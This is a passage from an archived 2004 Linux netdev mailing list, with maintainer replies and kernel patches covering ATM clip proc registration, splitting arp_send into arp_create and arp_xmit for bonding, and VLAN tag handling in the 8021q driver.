[172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i157D0a16633; Thu, 5 Feb 2004 02:13:00 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i157CUkC010625; Thu, 5 Feb 2004 02:12:30 -0500 Date: Wed, 4 Feb 2004 23:12:59 -0800 From: "David S. Miller" To: Krishna Kumar Cc: netdev@oss.sgi.com Subject: Re: [PATCH] bug in xfrm_lookup [bugzilla 2017] Message-Id: <20040204231259.0a2888f9.davem@redhat.com> In-Reply-To: References: <20040119211156.4bff1640.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3012 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 4 Feb 2004 17:41:48 -0800 (PST) Krishna Kumar wrote: > One of my earlier patches had a bug in xfrm_lookup() causin schedule() > to get called though MSG_DONTWAIT was specified. I am going to send > the following patch to the bugzilla user who created this bug report > and ask them to test it. I thought I will let you know of this problem > and I will send you a confirmation once I get a response that the problem > is solved. You patch looks correct so I'll apply it for now, if something is wrong with it send me a fix relative to this patch. Thanks. From davem@redhat.com Wed Feb 4 23:21:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 23:21:26 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i157LDKO011679 for ; Wed, 4 Feb 2004 23:21:13 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i157LAb20070; Thu, 5 Feb 2004 02:21:10 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i157LAa18344; Thu, 5 Feb 2004 02:21:10 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i157KdkC028145; Thu, 5 Feb 2004 02:20:40 -0500 Date: Wed, 4 Feb 2004 23:21:09 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: netdev@oss.sgi.com Subject: Re: [PATCH] IPV6: note on shared socket options Message-Id: <20040204232109.0ad8d5b9.davem@redhat.com> In-Reply-To: <20040204.203739.16838230.yoshfuji@linux-ipv6.org> References: <20040204.203739.16838230.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i157LDKO011679 X-archive-position: 3013 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 04 Feb 2004 20:37:39 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > There're several socket options for multicast > shared between IPv4 and IPv6. > Add a note that some range is already used for them. Applied, thanks Yoshfuji. As others noted, this in kernel internal headers, our own namespace, and it's documentation so it's fine. From davem@redhat.com Wed Feb 4 23:23:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 23:23:11 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i157N3KO012121 for ; Wed, 4 Feb 2004 23:23:04 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i157Mvb20934; Thu, 5 Feb 2004 02:22:57 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i157Mva18859; Thu, 5 Feb 2004 02:22:57 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i157MQkC008432; Thu, 5 Feb 2004 02:22:26 -0500 Date: Wed, 4 Feb 2004 23:22:56 -0800 From: "David S. Miller" To: chas williams (contractor) Cc: rddunlap@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH] atm/idt77252: correct printk of dma_addr_t Message-Id: <20040204232256.0857bc5c.davem@redhat.com> In-Reply-To: <200402041904.i14J4xRr017789@ginger.cmf.nrl.navy.mil> References: <20040203153448.5c81e49d.rddunlap@osdl.org> <200402041904.i14J4xRr017789@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3014 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 04 Feb 2004 14:05:00 -0500 chas williams (contractor) wrote: > dave, please apply the following to the 2.6 and 2.4 trees. Done, thanks Randy/Chas. From davem@redhat.com Wed Feb 4 23:24:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 04 Feb 2004 23:24:31 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i157OKKO012517 for ; Wed, 4 Feb 2004 23:24:20 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i157OFb21488; Thu, 5 Feb 2004 02:24:15 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i157OEa19273; Thu, 5 Feb 2004 02:24:14 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i157NikC008471; Thu, 5 Feb 2004 02:23:44 -0500 Date: Wed, 4 Feb 2004 23:24:14 -0800 From: "David S. Miller" To: chas williams (contractor) Cc: rddunlap@osdl.org, netdev@oss.sgi.com Subject: Re: Fw: [Kernel-janitors] net/atm/clip.c: check kmem_cache_create() #1 Message-Id: <20040204232414.05dc8702.davem@redhat.com> In-Reply-To: <200402041904.i14J4GRr017777@ginger.cmf.nrl.navy.mil> References: <20040128091803.1da4cf1c.rddunlap@osdl.org> <200402041904.i14J4GRr017777@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3015 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 04 Feb 2004 14:04:17 -0500 chas williams (contractor) wrote: > randy, i think it should probably return -ENOMEM instead of -1. > > dave, please apply the following to both the 2.6 and 2.4 trees. Applied, thanks guys. From jgarzik@pobox.com Thu Feb 5 01:27:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 01:27:56 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i159ReKO023989 for ; Thu, 5 Feb 2004 01:27:41 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:37013 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AofnN-0008Rh-IN; Thu, 05 Feb 2004 09:27:37 +0000 Message-ID: <40220C7D.2060503@pobox.com> Date: Thu, 05 Feb 2004 04:27:25 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Anton Blanchard CC: Leonid Grossman , "'Andi Kleen'" , netdev@oss.sgi.com, raghava.vatsavayi@s2io.com, iod00d@hp.com Subject: Re: FW: Submission for S2io 10GbE driver References: <20040205015149.GN19011@krispykreme> <005701c3eb92$55dc7650$7310100a@S2IOtech.com> <20040205032519.GR19011@krispykreme> In-Reply-To: <20040205032519.GR19011@krispykreme> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3016 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Anton Blanchard wrote: > Well there are non byteswapping versions on some architectures > (__raw_read*/__raw_write*). However at least on ppc32 they dont contain > memory barriers so you could into trouble using them. FWIW the __raw_xxx are not supposed to contain memory barriers. That's for when the driver writer decides he is smart enough to do the byte swapping and barriers himself, for possibly increased speed :) Jeff From jgarzik@pobox.com Thu Feb 5 01:30:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 01:30:25 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i159UAKO024346 for ; Thu, 5 Feb 2004 01:30:10 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:37014 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1Aofpo-00009i-UT; Thu, 05 Feb 2004 09:30:09 +0000 Message-ID: <40220D15.60603@pobox.com> Date: Thu, 05 Feb 2004 04:29:57 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Leonid Grossman CC: "'Anton Blanchard'" , "'Andi Kleen'" , netdev@oss.sgi.com, raghava.vatsavayi@s2io.com, iod00d@hp.com Subject: Re: FW: Submission for S2io 10GbE driver References: <005701c3eb92$55dc7650$7310100a@S2IOtech.com> In-Reply-To: <005701c3eb92$55dc7650$7310100a@S2IOtech.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3017 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Leonid Grossman wrote: >>Thats how all big endian platforms work. in* and out*, read* >>and write* byteswap. > > > So, we should make the code big endian specific rather than PPC64 > specific, right? {read,write}[bwlq] should work the same regardless of whether its big endian or little endian. The rule is "PCI is defined to be little endian". On little endian platforms, no byte swapping occurs. On big endian platforms, the platform will byteswap. Thus, the driver should not have big-endian-specific or PPC64-specific code... (you still have to do your own byteswapping for DMA) Jeff From jgarzik@pobox.com Thu Feb 5 01:46:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 01:46:22 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i159k8KO025161 for ; Thu, 5 Feb 2004 01:46:09 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:37022 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1Aog5G-0000qp-Kw; Thu, 05 Feb 2004 09:46:06 +0000 Message-ID: <402210D2.1030906@pobox.com> Date: Thu, 05 Feb 2004 04:45:54 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Carl-Daniel Hailfinger CC: Marcelo Tosatti , Linux Kernel Mailing List , Netdev , Manfred Spraul Subject: Re: [PATCH] [2.4] forcedeth network driver References: <402193B9.3000000@gmx.net> In-Reply-To: <402193B9.3000000@gmx.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3018 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Applied. I'll send to Marcelo... but it's up to him whether he will include it in 2.4.25-pre ot 2.4.26-pre. He said he's planning on releasing 2.4.25-rc soon... Jeff From jgarzik@pobox.com Thu Feb 5 01:48:58 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 01:49:10 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i159mvKO025588 for ; Thu, 5 Feb 2004 01:48:57 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:37027 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1Aog80-0000tg-92; Thu, 05 Feb 2004 09:48:56 +0000 Message-ID: <4022117C.60400@pobox.com> Date: Thu, 05 Feb 2004 04:48:44 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Carl-Daniel Hailfinger CC: Netdev , Manfred Spraul Subject: Re: [PATCH] [2.6] Update forcedeth to 0.23 References: <402190AC.2040307@gmx.net> In-Reply-To: <402190AC.2040307@gmx.net> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3019 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied From jgarzik@pobox.com Thu Feb 5 02:16:49 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 02:18:09 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i15AGmKO026676 for ; Thu, 5 Feb 2004 02:16:49 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:37045 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AogYw-0001cx-F6; Thu, 05 Feb 2004 10:16:46 +0000 Message-ID: <40221803.7070208@pobox.com> Date: Thu, 05 Feb 2004 05:16:35 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: David Dillow CC: Netdev Subject: Re: [BK] Updated 2.6 typhoon driver for 3CR990 & 3CR990B cards References: <1075260716.3637.4.camel@ori.thedillows.org> In-Reply-To: <1075260716.3637.4.camel@ori.thedillows.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3020 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied to 2.4 and 2.6 From chas@cmf.nrl.navy.mil Thu Feb 5 04:22:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 04:22:54 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i15CMlKO004558 for ; Thu, 5 Feb 2004 04:22:48 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i15CMcRr029937; Thu, 5 Feb 2004 07:22:39 -0500 (EST) Message-Id: <200402051222.i15CMcRr029937@ginger.cmf.nrl.navy.mil> To: Francois Romieu cc: davem@redhat.com, "Randy.Dunlap" , netdev@oss.sgi.com Subject: Re: Fw: [Kernel-janitors] net/atm/clip.c: check kmem_cache_create() #1 In-Reply-To: Message from Francois Romieu of "Wed, 04 Feb 2004 22:47:40 +0100." <20040204224740.B19321@electric-eye.fr.zoreil.com> Date: Thu, 05 Feb 2004 07:22:40 -0500 From: chas williams (contractor) X-Spam-Score: () hits=-0.3 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 3021 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev In message <20040204224740.B19321@electric-eye.fr.zoreil.com>,Francois Romieu w rites: >One should probably apply the following patch on top of it btw. >Unbalanced call to create_proc_entry() on error path. how about the following instead? we probably shouldnt register the proc entry until clip_tbl is going to be ready for use anyway (the arp table iterators should probably also use clip_tbl instead of clip_tbl_hook). ===== net/atm/clip.c 1.30 vs edited ===== --- 1.30/net/atm/clip.c Wed Feb 4 13:07:57 2004 +++ edited/net/atm/clip.c Thu Feb 5 07:18:03 2004 @@ -1008,14 +1008,6 @@ static int __init atm_clip_init(void) { -#ifdef CONFIG_PROC_FS - struct proc_dir_entry *p; - - p = create_proc_entry("arp", S_IRUGO, atm_proc_root); - if (p) - p->proc_fops = &arp_seq_fops; -#endif - /* we should use neigh_table_init() */ clip_tbl.lock = RW_LOCK_UNLOCKED; clip_tbl.kmem_cachep = kmem_cache_create(clip_tbl.id, @@ -1032,6 +1024,16 @@ clip_tbl_hook = &clip_tbl; register_atm_ioctl(&clip_ioctl_ops); + +#ifdef CONFIG_PROC_FS +{ + struct proc_dir_entry *p; + + p = create_proc_entry("arp", S_IRUGO, atm_proc_root); + if (p) + p->proc_fops = &arp_seq_fops; +} +#endif return 0; } From shmulik.hen@intel.com Thu Feb 5 05:59:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 05:59:32 -0800 (PST) Received: from petasus.ch.intel.com (petasus.ch.intel.com [143.182.124.5]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i15DxLKO009192 for ; Thu, 5 Feb 2004 05:59:21 -0800 Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129]) by petasus.ch.intel.com (8.12.9-20030918-01/8.12.9/d: small-solo.mc,v 1.9 2004/01/09 01:01:53 root Exp $) with SMTP id i15DxEmG017641; Thu, 5 Feb 2004 13:59:14 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.220.54]) by fmsmsxvs043.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004020505591110770 ; Thu, 05 Feb 2004 05:59:13 -0800 From: Shmuel Hen Organization: Intel Corporation To: "David S. Miller" Subject: [PATCH] [NET] split arp_send into arp_create and arp_xmit (resend) Date: Thu, 5 Feb 2004 15:58:56 +0200 User-Agent: KMail/1.5.3 Cc: , "Jeff Garzik" MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402051559.10075.shmulik.hen@intel.com> X-archive-position: 3023 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Content-Length: 4176 Lines: 154 Enable intermediate network drivers like bonding to create an ARP packet and modify it to their needs before sending it, while avoiding code duplication. It does not affect any other place in the kernel that uses arp_send. Tested for patch application and compilation against linux-2.6.2. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | diff -Nuarp a/include/net/arp.h b/include/net/arp.h --- a/include/net/arp.h Wed Jan 21 16:56:05 2004 +++ b/include/net/arp.h Wed Jan 21 16:56:07 2004 @@ -5,6 +5,8 @@ #include #include +#define HAVE_ARP_CREATE + extern struct neigh_table arp_tbl; extern void arp_init(void); @@ -19,6 +21,12 @@ extern int arp_bind_neighbour(struct dst extern int arp_mc_map(u32 addr, u8 *haddr, struct net_device *dev, int dir); extern void arp_ifdown(struct net_device *dev); +extern struct sk_buff *arp_create(int type, int ptype, u32 dest_ip, + struct net_device *dev, u32 src_ip, + unsigned char *dest_hw, unsigned char *src_hw, + unsigned char *target_hw); +extern void arp_xmit(struct sk_buff *skb); + extern struct neigh_ops arp_broken_ops; #endif /* _ARP_H */ diff -Nuarp a/net/ipv4/arp.c b/net/ipv4/arp.c --- a/net/ipv4/arp.c Wed Jan 21 16:56:05 2004 +++ b/net/ipv4/arp.c Wed Jan 21 16:56:07 2004 @@ -67,6 +67,10 @@ * now it is in net/core/neighbour.c. * Krzysztof Halasa: Added Frame Relay ARP support. * Arnaldo C. Melo : convert /proc/net/arp to seq_file + * Shmulik Hen: Split arp_send to arp_create and + * arp_xmit so intermediate drivers like + * bonding can change the skb before + * sending (e.g. insert 8021q tag). */ #include @@ -487,34 +491,26 @@ static inline int arp_fwd_proxy(struct i */ /* - * Create and send an arp packet. If (dest_hw == NULL), we create a broadcast + * Create an arp packet. If (dest_hw == NULL), we create a broadcast * message. */ - -void arp_send(int type, int ptype, u32 dest_ip, - struct net_device *dev, u32 src_ip, - unsigned char *dest_hw, unsigned char *src_hw, - unsigned char *target_hw) +struct sk_buff *arp_create(int type, int ptype, u32 dest_ip, + struct net_device *dev, u32 src_ip, + unsigned char *dest_hw, unsigned char *src_hw, + unsigned char *target_hw) { struct sk_buff *skb; struct arphdr *arp; unsigned char *arp_ptr; /* - * No arp on this interface. - */ - - if (dev->flags&IFF_NOARP) - return; - - /* * Allocate a buffer */ skb = alloc_skb(sizeof(struct arphdr)+ 2*(dev->addr_len+4) + LL_RESERVED_SPACE(dev), GFP_ATOMIC); if (skb == NULL) - return; + return NULL; skb_reserve(skb, LL_RESERVED_SPACE(dev)); skb->nh.raw = skb->data; @@ -594,12 +590,46 @@ void arp_send(int type, int ptype, u32 d arp_ptr+=dev->addr_len; memcpy(arp_ptr, &dest_ip, 4); - /* Send it off, maybe filter it using firewalling first. */ - NF_HOOK(NF_ARP, NF_ARP_OUT, skb, NULL, dev, dev_queue_xmit); - return; + return skb; out: kfree_skb(skb); + return NULL; +} + +/* + * Send an arp packet. + */ +void arp_xmit(struct sk_buff *skb) +{ + /* Send it off, maybe filter it using firewalling first. */ + NF_HOOK(NF_ARP, NF_ARP_OUT, skb, NULL, skb->dev, dev_queue_xmit); +} + +/* + * Create and send an arp packet. + */ +void arp_send(int type, int ptype, u32 dest_ip, + struct net_device *dev, u32 src_ip, + unsigned char *dest_hw, unsigned char *src_hw, + unsigned char *target_hw) +{ + struct sk_buff *skb; + + /* + * No arp on this interface. + */ + + if (dev->flags&IFF_NOARP) + return; + + skb = arp_create(type, ptype, dest_ip, dev, src_ip, + dest_hw, src_hw, target_hw); + if (skb == NULL) { + return; + } + + arp_xmit(skb); } static void parp_redo(struct sk_buff *skb) @@ -1437,6 +1467,8 @@ static int __init arp_proc_init(void) EXPORT_SYMBOL(arp_broken_ops); EXPORT_SYMBOL(arp_find); EXPORT_SYMBOL(arp_rcv); +EXPORT_SYMBOL(arp_create); +EXPORT_SYMBOL(arp_xmit); EXPORT_SYMBOL(arp_send); EXPORT_SYMBOL(arp_tbl); From shmulik.hen@intel.com Thu Feb 5 05:59:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 05 Feb 2004 06:00:00 -0800 (PST) Received: from petasus.ch.intel.com (petasus.ch.intel.com [143.182.124.5]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i15DxsKO009267 for ; Thu, 5 Feb 2004 05:59:54 -0800 Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129]) by petasus.ch.intel.com (8.12.9-20030918-01/8.12.9/d: small-solo.mc,v 1.9 2004/01/09 01:01:53 root Exp $) with SMTP id i15DxBmU017640; Thu, 5 Feb 2004 13:59:48 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.220.54]) by fmsmsxvs043.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004020505594510854 ; Thu, 05 Feb 2004 05:59:47 -0800 From: Shmuel Hen Organization: Intel Corporation To: "David S. Miller" Subject: [PATCH] [8021q] Use VLAN tag set functionality in 8021q module (resend) Date: Thu, 5 Feb 2004 15:59:43 +0200 User-Agent: KMail/1.5.3 Cc: , "Jeff Garzik" MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402051559.45159.shmulik.hen@intel.com> X-archive-position: 3024 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Content-Length: 3735 Lines: 121 Make the regular/HW accelerated xmit functions in the 8021q module use the new set VLAN tag functionality to reduce code duplication. Tested for patch application and compilation against linux-2.6.2. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | diff -Nuarp a/net/8021q/vlan_dev.c b/net/8021q/vlan_dev.c --- a/net/8021q/vlan_dev.c Wed Jan 21 16:56:13 2004 +++ b/net/8021q/vlan_dev.c Wed Jan 21 16:56:15 2004 @@ -445,6 +445,7 @@ int vlan_dev_hard_start_xmit(struct sk_b */ if (veth->h_vlan_proto != __constant_htons(ETH_P_8021Q)) { + int orig_headroom = skb_headroom(skb); unsigned short veth_TCI; /* This is not a VLAN frame...but we can fix that! */ @@ -454,33 +455,7 @@ int vlan_dev_hard_start_xmit(struct sk_b printk(VLAN_DBG "%s: proto to encap: 0x%hx (hbo)\n", __FUNCTION__, htons(veth->h_vlan_proto)); #endif - - if (skb_headroom(skb) < VLAN_HLEN) { - struct sk_buff *sk_tmp = skb; - skb = skb_realloc_headroom(sk_tmp, VLAN_HLEN); - kfree_skb(sk_tmp); - if (skb == NULL) { - stats->tx_dropped++; - return 0; - } - VLAN_DEV_INFO(dev)->cnt_inc_headroom_on_tx++; - } else { - if (!(skb = skb_unshare(skb, GFP_ATOMIC))) { - printk(KERN_ERR "vlan: failed to unshare skbuff\n"); - stats->tx_dropped++; - return 0; - } - } - veth = (struct vlan_ethhdr *)skb_push(skb, VLAN_HLEN); - - /* Move the mac addresses to the beginning of the new header. */ - memmove(skb->data, skb->data + VLAN_HLEN, 12); - - /* first, the ethernet type */ - /* put_unaligned(__constant_htons(ETH_P_8021Q), &veth->h_vlan_proto); */ - veth->h_vlan_proto = __constant_htons(ETH_P_8021Q); - - /* Now, construct the second two bytes. This field looks something + /* Construct the second two bytes. This field looks something * like: * usr_priority: 3 bits (high bits) * CFI 1 bit @@ -489,10 +464,16 @@ int vlan_dev_hard_start_xmit(struct sk_b veth_TCI = VLAN_DEV_INFO(dev)->vlan_id; veth_TCI |= vlan_dev_get_egress_qos_mask(dev, skb); - veth->h_vlan_TCI = htons(veth_TCI); - } + skb = __vlan_put_tag(skb, veth_TCI); + if (!skb) { + stats->tx_dropped++; + return 0; + } - skb->dev = VLAN_DEV_INFO(dev)->real_dev; + if (orig_headroom < VLAN_HLEN) { + VLAN_DEV_INFO(dev)->cnt_inc_headroom_on_tx++; + } + } #ifdef VLAN_DEBUG printk(VLAN_DBG "%s: about to send skb: %p to dev: %s\n", @@ -506,10 +487,7 @@ int vlan_dev_hard_start_xmit(struct sk_b stats->tx_packets++; /* for statics only */ stats->tx_bytes += skb->len; - skb->protocol = __constant_htons(ETH_P_8021Q); - skb->mac.raw -= VLAN_HLEN; - skb->nh.raw -= VLAN_HLEN; - + skb->dev = VLAN_DEV_INFO(dev)->real_dev; dev_queue_xmit(skb); return 0; @@ -518,17 +496,22 @@ int vlan_dev_hard_start_xmit(struct sk_b int vlan_dev_hwaccel_hard_start_xmit(struct sk_buff *skb, struct net_device *dev) { struct net_device_stats *stats = vlan_dev_get_stats(dev); - struct vlan_skb_tx_cookie *cookie; + 